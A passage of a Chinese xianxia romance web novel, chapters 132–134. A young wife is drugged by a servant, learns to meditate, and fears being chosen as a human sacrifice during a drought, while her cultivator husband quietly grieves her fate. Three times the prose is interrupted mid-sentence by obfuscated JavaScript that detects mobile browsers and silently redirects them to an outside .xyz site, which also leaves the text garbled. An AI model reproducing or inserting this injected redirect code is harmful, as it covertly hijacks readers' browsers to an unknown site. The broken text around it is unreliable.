他甚至还要派张婆来监视他们行房! 果然,躲得了一时,躲不了一世啊。 璃音一路心慌意乱、唉声叹气、惴惴惶惶地奔回房,反手就把门栓插了个死紧,防备着有什么张婆李婆闯进来。 风风火火做完这些,一回身,却见夫君正长腿懒屈,一派自得地坐着,手里拿着卷什么书在看,似是察觉到她脚步声里带了情绪,这才悠悠地抬起头来,一派清闲,问她:“怎么了。” 133. 第132章 打坐 方才离席离得匆忙,璃音只觉一口饭还在喉管里不上不下地噎着,忙先给自己灌了一大杯温茶,把气顺了,才抬起头来,对上了夫君那双淡定的眼。 但璃音有些淡定不下来,她一脸大难临头,踌躇着向男人开口:“夫君,你昨晚睡哪儿了?” 鬼婴突袭时都没见她摆出这副神情,摇光觉得好笑,也约摸猜出她在担心什么了,放下手中书卷,一面提壶去给她添茶,一面说:“我夜晚一般修行打坐,不上榻。” 打坐? 这就是在拐着弯告诉自己,他没有男女间的那种世俗之欲了? 璃音顿觉捡到了宝。 简直事事都和她一条心,这世上,怎会有如此完美,如此合她心意的夫君! 只可惜外边还有阿爹在虎视眈眈,璃音接过男人递来的茶,抿了一口,把杯子捧在手心,开始思量起对策来:“夫君,那你有没有修过那种,可以把别人的眼睛和耳朵隔绝在外的术法?” 功效描述得有些抽象,但摇光还是领会了:“结界?” 璃音猛点头:“对!结界!让人偷窥不到我们屋内的那种结界!” 其实跨越到有本体重叠的时空而来的人,最该做的事,就是保持低调,最好少用些本命灵力,更别闹出什么大的动静,以防把本体吸引过来,导致神体互融互噬。 但他被少女脱口划为了“我们”。 除了“我们”,都是“别人”…… “有。” 摇光屈起两指,交缠一叩,一道冷蓝色的流光立时自他指尖迸出。 咻—— 像一捧漫散开来的冷蓝烟火,只一瞬,点蔓成面,一点流光变作弯曲的清蓝光壁,如一面倒扣下来的穹顶,无声无息地罩下,将整个屋子都笼罩其间。 光屏落定,蓝光最后轻轻一闪,消隐不见。 其实她都插上门栓了,防个张婆而已,哪里还需要什么结界,但璃音就是一下觉得安心多了。 她看得眼睛亮了又亮,搁下手中茶盏,上身向男人的方向倾了倾,还不自觉搓了下手:“夫君,这结界除了隔音防窥,还能做些别的用处吗?” 她眨眨眼:“比如,解暑降燥?” 八月酷暑,即便入了夜,闷热仍是不退,今年尤甚,空气都被热气熏得黏糊糊的,人被浸在这样的闷燥里,无处可逃,好不舒服。 不过,此时话音一落,璃音就觉屋内有丝丝的清凉泛起,渐压住了满室黏热。 她注视着男人指腹上一闪而过的湛蓝光晕,目光炯亮得惊人。 竟真有这样的术法! 修仙,好像是一件挺有意思的事呢。 她若是也修仙,是不是,就有可能过上自己想要的那种生活了? 自在,随心,可以去往宇宙中任意的角落,看云,数星星,逃离那些不断用世俗标准窥视着自己的眼,逃离一切拘束。 这么想着,不禁心潮一阵阵翻涌起来,许是受了心境的影响,璃音忽觉有一阵难言的燥热,随着心潮起伏,也自体内深处缓缓翻涌了上来,渐渐渐渐,竟蔓延至了全身…… 屋内明明在结界的作用下变得清凉无比,体内的燥热却仍不断升腾,甚而横冲直撞起来! 难不成这结界还有副作用? 而且…… 好香。 大概是身子前倾,离得近了,桌对面,男人身上淡淡的幽香,一丝一缕,若有似无地飘了过来…… 璃音突觉口干舌燥起来,不由得吞了吞喉咙。 可吞喉咙也不顶用…… 他好香。 这香味,越清淡越撩人,是比桂花小麻糕的那种馥郁浓烈,还要诱人上百倍的香。 璃音盯在男人身上的眸光渐转炽热,她盯他修长有力的指节,盯他线条优美的肩颈,又盯他微微凸起的喉结…… 她无声盯了他好一会,倏地起身,面无表情地向他凑了过去,状若无事地道:“你在看什么?” 但根本不等他答话,也没去翻那书卷的封皮,就一把将男人按在椅背上,看准了喉结,头一低,往那处啃了下去。 男人很乖,没有推拒,但也因此吃了苦头,少女柔软的唇舌追着他,偶尔也会放出尖厉的牙齿,碾着他,轻轻地咬。 直到某一下咬得重了,男人低低地,发出了一声夹杂了微痛的闷哼。 璃音才猛地睁眼,如梦初觉。 视线落去男人的颈间,璃音一怔之后,骇得惊叫一声弹起,连退数步,恨不能就此退去墙壁之外。 那里已被她吮得一塌糊涂,各种痕迹都有,暧昧的齿痕,靡艳的红,和黏湿的水光…… 这这这……都是她干的? 璃音努力回想着刚才的场景,简直跟突然被人夺舍了一样,也不知道自己在做什么、要做什么,只觉整个人热腾腾、晕乎乎的,他又一阵阵地向她散发着惑人的香气,神思恍惚间,就…… 璃音忐忑抬眸,小心地去寻男人的眼神,一双被欺负的水亮的眸子,像隔着一层濛濛的水雾,却也没有责怪,只是沉静地,缓缓地向她望了过来。 看看,人家是修道之人,早清心寡欲了,自己却突发恶疾一般将人扑倒,还……还对他做下了那种禽兽之事。 “抱歉,我也不知是怎么了……” 璃音尴尬地走近了些,试图解释,却发现根本解释不了,只觉口中发干,忙又把桌上茶盏端起来,刚要入口,猛然间,脑中似有白光一闪,茶杯在她手中顿住。 “夫君,这茶水是哪来的?”她扭头向男人问道:“是秋莺送来的吗?” 摇光想了想,摇头:“是一个自称张婆的沏来的。” 果然! 璃音顿时明了。 她还是大意了! 还以为不让张婆进屋就算安全,没想到人家早有先手。 她有些无力地将杯盏搁回桌上。 摇光见她如此,也反应过来了:“茶水里加了东西?” 璃音忍耐着体内旺盛的邪火,无奈点头。 好在张婆也没那么离谱,应该只是往茶水里添了些能调动兴致的东西,并不是多烈性的春药,她虽一时晃了神,但清醒得也快,还不至于真的化身禽兽,把男人给生吞活吃了。 自己咬了牙,定下心,忍一忍,也就捱过去了。 其实,夫君身段长得好,她哄了他回家,虽是权宜急智,但也是认真把他当作夫君的,没有折腾着还要再去嫁谁的想法,若不出意外,这辈子,也就他了。 所以,和夫君做亲密的事、快乐的事,她也并没那么抗拒。 在井底时,他们不也很和谐地拥抱了吗? 虽说在井底拥抱,和在床榻上拥抱是很不一样,但这足以说明,她对他的身体并不抗拒。 只是…… 纯粹为了造人而产生的亲密,那就很不一样了。 所以她不抗拒亲密,但只要一想到亲密后,有怀上孩子的可能,就叫她不受控制地浑身都抗拒起来了。 想想府里两个怀过孕的女人,阿娘生她时九死一生,倩夫人失足落水,更是大着肚子,就直接去见了阎君。 虽说落水这事是她自己不小心,但若非怀胎六月,身子笨重,她也未必就会滑倒,甚而未必就爬不起来吧。 总之,生孩子这种事,真真正正的鬼门关上走一遭,璃音才十六岁,她觉得自己的人生才刚要开始启航呢,实在不想急着去走这一遭。 不过…… 她侧眸去看身边的男人,刚被自己一番凶恶扑咬,男人的衣襟被扯得敞乱了一些,他也不赶紧拉好,就把美好的锁骨半遮半掩地露着。 这什么意思?这不害她吗! 璃音看得心火旺盛,觉得这人真是一点不体谅自己,几步上前,一把替他将领子拢好,偏凑得近了,清幽的香气又钻入鼻腔,惹得璃音心猿意马。 所以说,这种情况下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031163|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要定心,也是很不容易的。 “夫君,你再给我抱抱吧。”她拽他起身,轻轻搂了上去,蹭着他低语,“不碰你,就抱抱,一会就好。” 这话说的,也太像浪荡子轻薄良家时的鬼话了…… 话一出口,璃音自己也听出来了,于是在男人胸前埋着脸,就忍不住笑了起来。 但夫君不愧是修仙的,定力非常,听了这么好笑的话,居然都能不笑,是觉得被冒犯了吗? 璃音抬起头,遇上男人安静注视着她的眼睛,那眼里倒没有生气,见她望了上来,就轻声问了句:“还是难受?” 璃音向他轻轻摇了摇头,就把脸又埋了回去:“没之前那么难受了。” 药劲没一开始那么强劲了,但后劲绵密,像不断有小钩子在挠。 但总这样也不是个事。 而且,即便捱过了今日,保不齐以后还会中招。 得想个能靠自己解决的法子…… “夫君。”璃音仰起脸来,认真道:“打坐,你能教教我吗?” * 入定算是修行的一个入门技法,但也不是谁都能学会的,有些人神思飘散,天生爱走神,难以专注,就入不了定,那就是没有修行的缘分了。 而璃音掌握得极快,甚至都不必摇光怎么指点,几乎是无师自通,没一会,便摒除了所有杂念,心神合一,无波无扰地在榻上打着坐,入定了。 璃音觉得这也太简单,这不就和她平时一个人待着时,惯爱做的“发呆”,是同一个东西吗? 呆着呆着就清心寡欲了,挺好。 有惊无险地度过一夜。 翌日一早,璃音梳洗了出来,做好了迎接阿爹盘问的准备,却不料被秋莺告知,昨儿个半夜,就在自己入定的时候,府中来了个宣旨的太监,茶也不及喝一口,就急匆匆地将夏侯铮召入宫中了。 半夜召太史令入宫,是出了什么大事? 头顶白日酷烈,璃音心里升起一股强烈的不安,忙跑去了阿娘院中。 “走得太急了,来不及问什么,只听来的公公说,该是与最近各地的旱情有关。”杨夫人也拿不准,只能按着情况推测,“大概是被叫去观星台了吧。” 每每天象有异,太常寺底下的吏员们就都要忙碌起来,观星的观星,卦卜的卦卜,这也是惯例了。 可璃音不知为何,心里仍是安定不下来。 或许是今年的夏日果真太反常的缘故吧,而且,周身无处不在的躁动热流,也总是更容易叫人不安的。 她这么想着,回到自己房中,坐下时,看到桌案上静静放着的一本书卷,好像就是昨日夫君拿在手里,悠闲翻看的那本。 是一本教人拆解星象的古籍拓本。 璃音认得这本书。 这书是她前几日看了一半,随手放在屋里的。 昨日,夫君不停翻看的,会是哪一页? 还有,连夜赶召入宫去的阿爹,在那方巨大的观星台上,仰头之际所看到的,又会是怎样一片星空呢? 若天象果真有异,那接下来,宫里各种祭天祭祀,阿爹恐怕要忙上好一阵了。 果然,夏侯铮午时回府,饭也用得匆匆,便又要入宫去了:“要预备开坛祭天了。” 他差家仆挑了几件换洗的衣服,示意包了带走,叮嘱杨夫人道:“接下来至少得有大半个月不得闲,我若过了午时没回,便不要等,你们自己用饭。” 临走时,又看了璃音一眼:“你自己的事,自己上点心,趁着……” 说到一半,忽又打住,似乎叹了口气,最后只道了一句:“早些有动静,这也是为你好。”便转身匆匆走了。 “别理他。”杨夫人拍拍女儿的肩,“那种事,顺其自然就好。” 璃音却第一次,没有在这个话题上顺杆爬,去驳夏侯铮。 她静默半晌,才抬眸喃喃道:“宫中,恐怕要选人祭了。” 134. 第133章 人祭 所谓“人祭”,便是以人作牲,去祭神明。 每逢大灾,当畜祭不顶用时,便要开始准备人祭了。 毕竟神仙也不是时时刻刻注意着下界的动静,有时在哪处宴会上贪了酒,倒头醉个三五年,也是常事,这时的人间便是祭一百头牛上去,也是白搭。 所以,当有十万火急之事相求于神明之际,惯例的牛羊猪狗就不够用了,往往还要再挑选一个人,同为牺牲,一起祭到天上去。 如此,这人便可作为凡间传递急信的使臣,将下界苦难、所求之事,都一一及时地向仙长们当面陈禀。 而人祭选人,也不是闭着眼睛随便选的,规程十分精细繁杂,年纪、性别、心性、八字,甚至是相貌,都要经过仔细核选。 毕竟是有求于人,派过去请求庇佑的,弄个浑身皱巴巴、还杀过人的抠脚大汉过去,还没开口,人家神仙的眉头就先皱起来了,那怎么行! 是以人祭的人选,向以心性澄净、八字合适、又品貌出色的妙龄少女为佳。 虽然璃音觉得这选人的标准很扯,少女可以,怎么少年就不行? 光顾着送姑娘过去,让男神仙们看了赏心,就不能送个漂亮少年上去,让女神仙们也悦悦目吗? 但千百年来的惯例就是如此,事关神灵,也无人敢去破除前例。 于是一个个少女就这么被献祭了上去,也不知她们最终有没有抵达天宫、得见神明,她们被献祭给神的魂魄,最后又都如何了,去了哪里? 这些,凡人们都无从得知。 所以阿爹临走时,望向自己的那一眼欲言又止,璃音读懂了。 畜祭早有定例,按着祖宗传下来的规矩,一步步去做就好,哪里需要阿爹一忙半个多月,日日忙到用饭都回不来家。 只有挑选人祭的流程复杂,光是测算八字、再找到适龄的少女就很不易,没个把月选不好。 人选出来了,虽说最后也不一定就用得上,但有备无患,宫中此时,一定已经在着手挑选合适的少女了。 而真到了要动用人祭那时,灾情必已到了天地覆灭的地步,莫说高官之女,就是公主,若是锁了八字,也是一样要被无情地推上祭台。 但这时若能有孕在身,便可避免很多不必要的麻烦。倒不是出于人道的保护和怜悯,而是当权者们认为,一个女人一旦有孕,她的身体便必然不再“圣洁”,不再适合被献给神圣的神明。 璃音觉得这依然很扯。 神仙难道还能歧视孕妇、或生育过的女人吗?那也实在枉自为神了吧! 反正这一条条要求下来,又看八字又看脸的,还不许给别人生过孩子,在璃音看来,哪里像是在挑选“使臣”,分明就是在给神仙挑媳妇。 大概最初定下这规矩的人,他自己被求办事时好这一口,所以就理所当然地肖想神仙亦是如此了吧。 璃音慢慢地叹了口气,捧起了桌上那一册书卷。 这时她才注意到,屋内只有自己一个人。 夫君呢? 怎么一早起来,就一直没见着他人影? 不会是昨夜受了她一番轻薄,忍无可忍,趁她入定,跑路了吧…… 不过是个一闪而过的荒唐念头,但璃音不知怎么,竟被这毫无根据的猜想弄得面色一绷,豁然站起身来。 要么一开始就别答应,答应了做她的人,半路再想跑?呵! 她看他是想死! 书卷被拍在桌上,拳头也不自觉攥了起来,少女没有意识到自己此刻的偏执与可怕,只那幽暗的眼神冷得吓人。 “怎么杀气腾腾的。” 就在这时,清泠的男声混着一抹食物的酥香,一起慢悠悠飘进了屋里。 差点就被她莫名其妙判了死刑的夫君,闲步踏了过来,手里还端着一碟点心,轻轻搁去了案上。 璃音垂目一看,是一碟卖相颇为古怪的绿豆糕。 府里厨子的手艺这是怎么了,不稳定成这样? 而且…… 璃音狐疑地看了摇光一眼。 他不是辟谷吗? 辟谷的人,也吃这种糕点? 见少女的目光一会冷凝,一会狐疑,摇光笑了笑,从碟子里拈起一块绿豆糕,送去了她嘴边:“尝尝?” 才用过饭,璃音没什么胃口,刚才又莫名对着虚空生了一场气,实在没心思吃什么点心,刚想推拒,却听男人低低缓缓地说了句:“我做的。” 璃音一愣。 他还会下厨? 她惊诧地抬起头来,这才发现,男人向来淡静的眼神中,居然隐隐掺杂了一丝……期待和紧张? 再看他伸来的手,原本干净的袖口上,好像……还蹭上了一抹锅灰。 所以他一大早就不见人,是跑去厨房做这个了? 拒绝的话说不出口了,鬼使神差地,璃音就把嘴乖乖一张,由着男人喂了一大口糕点进来。 摇光看少女慢吞吞地嚼着,她很能吃,吃相却文静,他很爱看她吃东西,但他从没想到,有朝一日,文静也能折磨人。 等她咽下这一小口的这片刻,时时都在悬心她嚼到某一时刻,那好看的眉头会蹙了起来。 简直就是在熬心! “第一次做,也未必好。”他看她面无表情地细嚼慢咽着,上战场都从不紧张的人,这时心里竟也没底了起来。 他想着她昨日喝冰饮子时,还有在望仙镇吃到炸得酥脆的小黄鱼的时候,看起来总是那般快乐又满足。 看来想要让她露出那样的表情,他还需多加努力才是。 其实璃音不喜这类甜腻腻的糕点,但夫君做的这个,卖相虽然一般,却一吃就知道,是为她特制的减糖版。 糖放得少了,一口咬下,满口都是绿豆原本的清香,谈不上多惊艳的味道,但却有一股很是自然爽口的风味。 且绿豆清热解暑,真是最适合在这个时节里做成小点心,投喂给畏暑的她来吃了。 没怎么加糖,但璃音吃得甜滋滋的,至于什么落跑夫君,什么死刑,这会早被她抛到九霄云外去了。 她面上终于有了神色,眉眼一弯,凑着男人不曾收回的手,咬下了第二口绿豆糕。 有种考试通过了的奇异感觉,摇光一颗心落下,也随她弯了眉眼:“喜欢?” “喜欢。” 喜欢就是喜欢,这时的少女还不懂作伪,不会口是心非,不觉得自己配不上世上的任何欢愉,只笑得真心,满意地冲自己夫君点着头。 她是真的喜欢。 但随即,眼角余光扫到被璃音随手拍在案上的书卷,摇光刚挂上唇边的那一抹笑意,便不由地一敛。 他来自三百年后,对下界德武年间这一段历史,虽没有刻意了解过,但有一件天上人间都曾传扬得轰轰烈烈的大事,他还是知道得很清楚的。 凡间太史令之女夏侯璃音,在德武年间,凭借着身上三桩极大功德,直接飞升入了昆仑。 只不知为何,她上了昆仑山之后,就把在凡间的许多事给忘了个一干二净,在她心里,总以为自己能飞升,凭的全是净化玉横之功而已。 甚至她都不曾注意到过,在三百年后早已司空见惯了的“请神令”,在她飞升之前,根本都是不存在的。 在她向西王母求设“请神令”之前,凡人对天宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039017|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但有所求,要么烧香后默默等着,要么就祭一个活人的魂魄上来,以为信使。 但被祭了天的神魂,是献给神明的奴隶,自此便超脱了轮回,可她们又无仙体,无法在神仙之地久留,若在几年里修不出仙身,那些被献祭而来、正值青春妙龄的少女,便只得连轮回的机会都没有,永远地消散于天地之间了。 璃音觉得这很荒谬。 神欲佑护苍生,难道那少女不是苍生中的一员?就因为神仙爱走神,看消息不及时,为了往天上递个信,一个活生生的少女就要受此折磨?而她献祭了自己的神魂,才得以换来的安宁人间,她却又一星半点也享受不到! 这难道不够荒谬绝伦吗? 确实荒谬绝伦。 她在西王母面前据理力争,于是自此之后,人间与天宫之间,便有了一道“请神令”。 “请神令”出,从此,再没有人间的任何一个少女,再被推上祭天台。 夏侯璃音,便是人间最后一个,被万民献祭给了上天的少女。 当然,“请神令”烧去了仙子神君们的眼前,要不要应,也全凭他们自愿。那些不欲搭理凡尘俗世的散仙,只需将这小令屏蔽了,那写了他名号的请神令便烧不起来,或是一刻之内无有回应,请神人自然也心中有数,该去另寻别的仙人帮忙了。 但一般而言,也不会有神仙真去把“请神令”给屏蔽了。 神仙们平日里受凡人香火供奉,以此可以稳固仙身,增加修为,既得了好处,那凡人大难临头之际,稍加庇佑,本也是应该的。 毕竟,若人家逢难相求,你却事事不应,那几次下来,供奉你的香火,便也就断得差不多了。 要知道,凡人对待神仙的态度,也实在得很,平日虔诚地供奉着你,就是万一有事,要求你庇佑的。结果每到要用你的时候,你都啥用没有,谁还来捧着你?不砸了你的塑像,那都算是客气的了。 香火断个千八百年,曾经再威风的神君,仙身估摸也就能剩个薄薄一层,再不作为,也得去见阎君了。 摇光眼帘轻垂,看向手上垫了帕子,正一口一口、斯斯文文吃着绿豆糕的璃音,眸中有某种磅礴的情绪,在安静地翻涌着。 只是所有这些,这些天宫中因她而起的巨大变化,三百年后的她,似乎也完全不记得了。 她不记得自己做过什么,也不记得别人对她做了什么,只是终日安静地待在昆仑山上,很努力地修炼。 璃音吃完,抬起脸来,见夫君有些出神地望着自己,一怔之后,轻笑了笑,突然对他提议道:“夫君,今天晚上,陪我去看星星吧。” 说着,她慢慢拿过帕子擦了手,重又拾起桌上那一册拆解星象的书卷,随手翻了几页:“你一定还没在井底看过星星吧,很漂亮的。” 阿爹的欲言又止她听得懂,而夫君从昨夜开始,就对她超过限度的包容,她亦察觉到了。 她亵弄他,他却一点也不生气,反而为她做来爱吃的糕点。 而他的那种“不生气”,分明和一直以来的淡然是不同的。 自她昨夜回房,他看向自己的眼神里,就总有着极轻微的、可能连他自己也没察觉到的……恻然。 而此刻,夫君仍是用那种略带恻然的眼神看着自己,想也没想,就应着她说:“好。” 他这副模样,就好像…… 在哄着一个将死之人。 愿意包容和满足她的一切遗愿一样。 夫君是修仙之人,他一定是看到了一些自己尚不能看到的东西。 但他看到的,究竟是什么呢? 或许,就是昨夜自己错过的那片星空吧。 135. 第134章 万物可爱 夜静天遥,漫天星火如萤。 璃音抱着专属于自己的“人肉梯子”,一入井底,便熟练地铺开稻草,屈起一只膝盖,悠悠懒懒地躺下了。 枕臂而卧,一转头,竟见夫君半坐在幽狭的井底,显是想在她身旁躺下,但一连艰难比划了好几个姿势,都摆弄不开他那两条长腿…… 虽然就连这样的时刻,都从他身上瞧不见一丝局促,但看他欲躺却躺不下来的模样,璃音还是不禁扑哧一声,笑了出来。 她身子往边上稍略挪过,把中间最能容人的空间让出来,伸手在身旁轻拍了拍,示意他赶紧挨着自己躺过来。 总算顺利躺下,摇光也学身边少女的姿势,折一只胳膊,慢悠悠枕去了脑后。 璃音发觉夫君有一点挺厉害的:好像无论多尴尬的事发生在他身上,他都能有种自己绝不尴尬的淡定与超然。 当然,现在的璃音还不知道,夫君此刻这种令她称羡的特质,会被三百年后的她哼着声、撇着嘴,无情地称之为:厚脸皮! 慢慢转回目光,井口外那一小片澈然的夜空,便清晰映入了眼中。 窝在井底看星星,这种事,也只有她想得出来了吧。 摇光静静躺卧,视线被高直灰白的井壁塑成笔直的一线,遥遥上望,夜幕分明比在地上时离得远了,但那些星星落入眼中时,或许是小小的一片更能叫人专注的缘故,看起来果然仿佛更明晰了一点。 “我没骗你吧,是不是很漂亮。” 少女望天伸出一只胳膊,掌心向上,五指微张,像是在拢着一汪星斗。 摇光侧眸,看她认真望着夜幕、近在咫尺的半张侧脸,轻轻嗯了声:“很漂亮。” 她好像,一直以来,都很喜欢这些与自然有关的事物。 一颗星星,一片树叶,一朵浮云,乃至一只萤火,一滴落雨……宇宙中任何一处小小的景致,她似乎都能看得入迷。 可这些,在他眼中,向来都是没什么意思的东西。 紫府中的云海万年翻涌,星辰每日每夜高悬,冬寒暑热,潮汐按时涨退……这些凡间诗人们笔下雄奇宕阔的丽景,在他看来,也不过是些一成不变的壮阔,若没有她在身边,都只是些徒增孤寂的死景,他不至于觉得讨厌,却也感受不到喜欢。 只是……没什么意思而已。 就在这时,忽然,耳边传来几声窸窣奇异的“札札”声响。 听见这声音,璃音立马坐起身来,探手往稻草堆里拨了几下,两指一拈,精准地拈出了一只青碧色的硬虫。 “八月,是该有蚱蜢了。” 小蚱蜢被璃音捏住了身子,两条后腿猛蹬,踩着风火轮似的,璃音凝目看了一会,倏然转头向身侧的男人道:“夫君,它吵到我们看星星了,你能把它扔出去吗?扔得远远的。” 蚱蜢听不懂人话,但直觉不妙,兀自把腿蹬得更猛了。 摇光一指轻抬,指尖浅浅一道冷蓝流光划过,刚还在少女手中挣扎个不停的小蚱蜢,就随着光晕,消失到不知哪处无穷远去了。 目送着蚱蜢走远,璃音从身下摸了根稻草出来,七折八扭地,没几下,竟就编了个草蚱蜢出来,活灵活现,简直与方才的真蚱蜢一般无二。 她慢慢躺下,手中高举着那一只草蚱蜢,炫耀似的,在男人眼前不停晃着:“照着编的,还算像么?” “像。”摇光接过草蚱蜢,也把它高高举在手里,凑着星辉,仔细地看。 看了一会,忽侧头笑道:“怎么把真的赶跑了,又自己编一只假的出来?” 璃音“唔”了下,道:“其实真的也挺可爱的,就是太吵,我不喜欢太吵的东西。” 顿了顿,也侧转过脸来,对上男人沉了星似的双眸,笑道:“但想到它会在某个我听不见、也看不见的地方,继续聒噪地吵着,也还是觉得挺可爱的。” 可爱……吗? 摇光不是太明白。 而眼前正与自己对望着的少女,不知蓦地想到了什么,忽看着他,抿嘴一笑。 摇光不由问她:“在想什么?” 想的东西其实有点幼稚,但看着夫君净澈漂亮的眼,璃音还是说了出来:“只是忽然想到,每晚星星一出来,这世上的人,不管白日里是好人坏人,彼此间是恩人仇人,都像接收到了统一的指令一样,都得齐刷刷找个地方躺下,然后乖乖闭着眼睛睡觉……” 说到这里,又忍不住笑了下:“夫君不觉得这很有意思,很可爱吗?” 她光是这么想着,就觉得这个世界,还有世上千千万万活着的人们,都有一种说不出的可爱。 看似瑰丽壮阔的人间画卷,不就是从一颗星星、一片树叶、一点萤火开始,再由这些一个个小小的、努力生活着的生灵,一点一点织就组成的吗? “夫君?” 看夫君不应声,只是望着自己的眸中,似有一片惘然闪过,璃音不禁面上微赧,果然她平日里想的这些东西,很幼稚,很可笑吧。 可她才十六岁,有些想法幼稚一些,那又怎么了? 于是轻哼一声,不服气地夺回男人手中的草蚱蜢,擦着他浓黑的睫毛,就在他眼前好一阵猛力乱晃:“不可爱吗?” 睫毛被她没轻没重地蹭下好几根,摇光轻眨了下眼,抬起一只手臂,凌空一把抓住少女作乱的手。 少女手中那一只草蚱蜢,栩栩如生,便被定格在了他的眼前。 可爱吗? 不可爱吗? 摇光凝目看着。 突然,草蚱蜢身子微微一抖,又颤几颤,在他眼前颇具神气地晃动起来。 原来是少女被他制了手也不安稳,轻抖着手腕,又用草蚱蜢长长垂下的“触角”,去轻轻搔弄他的面颊。 面上被稻草的尖须挠得发痒,但是…… 微撇过头,能看到她抿着嘴,憋着坏,一脸不服气地望他。 好像是……可爱的。 因为她的可爱,连带着她手里的蚱蜢,她望过的夜空,她躺着的这处荒井小院,还有……还有她深觉可爱的这个人间,以及人间里那些一到星星出来、就齐刷刷倒头睡去的人们,好像也都被她一一点亮,变得可爱了起来。 他伸手,再一次,将草蚱蜢从她手中接了过来。 “是很可爱。”他淡声点评道。 草蚱蜢…… 明明只是一根再普通不过的稻草,在她手中,却可以编出这么多花样。 就是一件件如此带点新奇、却又微不足道的小事,编织成了一整个庞大的、新奇的世界吧。 他好像……有一点点懂了。 学少女将草蚱蜢高举,摇光缓缓向身侧探出空着的另一只手,寻到少女温热的指尖,试探着触了触。 少女似乎感觉到了,很轻地向他眨了下眼。 不是安慰,没有情势危急,也没有任何可以作为借口的因素,这一刻,星辉寂静中,他只是很纯粹、又很迫切地,想要和她牵手。 可是他们还没有…… “你喜欢?那我把它送给你了。” 少女有些满意又得意地笑着,指节轻动,寻回他撤走的指尖,忽而轻盈地缠上,先他一步,将他的手,牢牢地牵住了。 璃音牵住男人的手,便就转过了头,专注地望起了天上的星星。 夜渐渐深了,星象也愈发清晰起来。 若要占星解卦,此时便是最佳的时机,这本也是她今晚来看星星的目的。 可是…… 男人微凉的掌心被她牵握在手中。 她突然就不想那么做了。 就算提前知晓了命运,那又能如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048848|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何呢? 有些事,她可以逃,可以想方设法去躲,可还有一些,若她躲了,就势必会有另一个女孩替她遭殃,这样的事,她不会躲,也不屑去躲。 既然知道自己不会躲,那这结果,早一天知道,晚一天知道,又有什么差别? 今晚万物可爱,不如趁着这美好的星光,把还能攥在手里的日子,不留遗憾地好好过完吧! 璃音正看星星看得出神,忽觉指节一阵翻覆,自己的手便被男人轻轻反裹进了掌心。 耳边响起夫君如夜清沉的嗓音:“你知道,只要你向我开口,我可以带你走的。” 只要她想要,只要她向他开口,他就会不顾一切地带着她走,带她逃离前方任何可怖的命运。 他可以替她遮掩,甚至可以为她铺一条坦途,直接带她上去天宫,助她修仙! 凭借她的资质,不出百年,她一样可以上昆仑,一样可以成仙。 他有这个能力,也甘愿为她如此。 可同时,他也清楚地知道,她永远也不会向他开这个口。 因为,那是她的路。 一条虽然艰苦,却该由她自己来走,也确实将被她走出夺目绚烂的路。 百年后,当她看到人间为她设立的圣女祠,一定尾巴都会翘到天上去吧。他都能想象得出,她那挑着眉梢,得意笑着的模样了。 这是她的劫,亦是她的机缘。 是她用自己对这世间、对苍生万物的执念,换千万人的香火,将她直直送上了昆仑。 果然,少女微微一怔之后,微弯了眼,侧眸向他望来:“夫君,你对我真好。” 她早已做好了决定,可摇光还是能看见,她含笑的眼底,泛着浅浅的一层水光。 “可我都没有好好当过一天你的娘子,承诺你的那些话,也一样都没有做到。” 以后,也很有可能做不到了。 璃音向男人抱歉地笑了笑,感受到覆于自己手背之上的指骨握紧,她望着他,忽道:“夫君,你们修仙之人,应该能活很久很久吧?” 摇光轻嗯了一声:“很久。” 是太久太久了。 璃音眼睛亮了一亮,整个身子向着男人侧躺过来:“那如果侥幸,我还能有来世,而那时候你也还活着的话,你还来找我,好不好?” 摇光轻怔。 看他不应,少女反有些急了,轻晃了晃他的手,又拿出了那句话来诱他:“我会对你很好的,真的!” 尽管没有谈情说爱的经验,但璃音也深知,要遇上一拍即合的夫君,在这个全凭父母媒妁、盲婚哑嫁的世间,根本就是件撞大运的事! 现在这个夫君,她也说不上是不是撞了大运,但和他在一起,她很舒服,也很开心,所以,小运总还是算的。 她是个很容易知足的姑娘,也最喜欢未雨绸缪,所以,凭他们一起在井底看过星星的交情,提前预定个下辈子,总还是可以的吧! 没想到人家根本不答应。 璃音心里的气恼还没来得及酝酿出来,忽觉颊上有温热的触感覆了上来,是男人柔软的指腹。 “好。” 他不停在她眼下那块轻轻摩着,璃音觉得很奇怪,那里有什么好摸的? “阿璃。”男人眼底的恻然,终于毫无遮掩地向她展露了出来,“别哭。” * 半个月后,夏侯铮回府,朝服也来不及换,就把一家人都召到了前厅。 “阿横。”他瞥过女儿一路进来,都和女婿牵握在一处的手,淡淡道:“从今天起,无论谁来问你,你都已有了一个月的身孕,知道了么?” 璃音没什么意外地听着,只是沉默,没有说话。 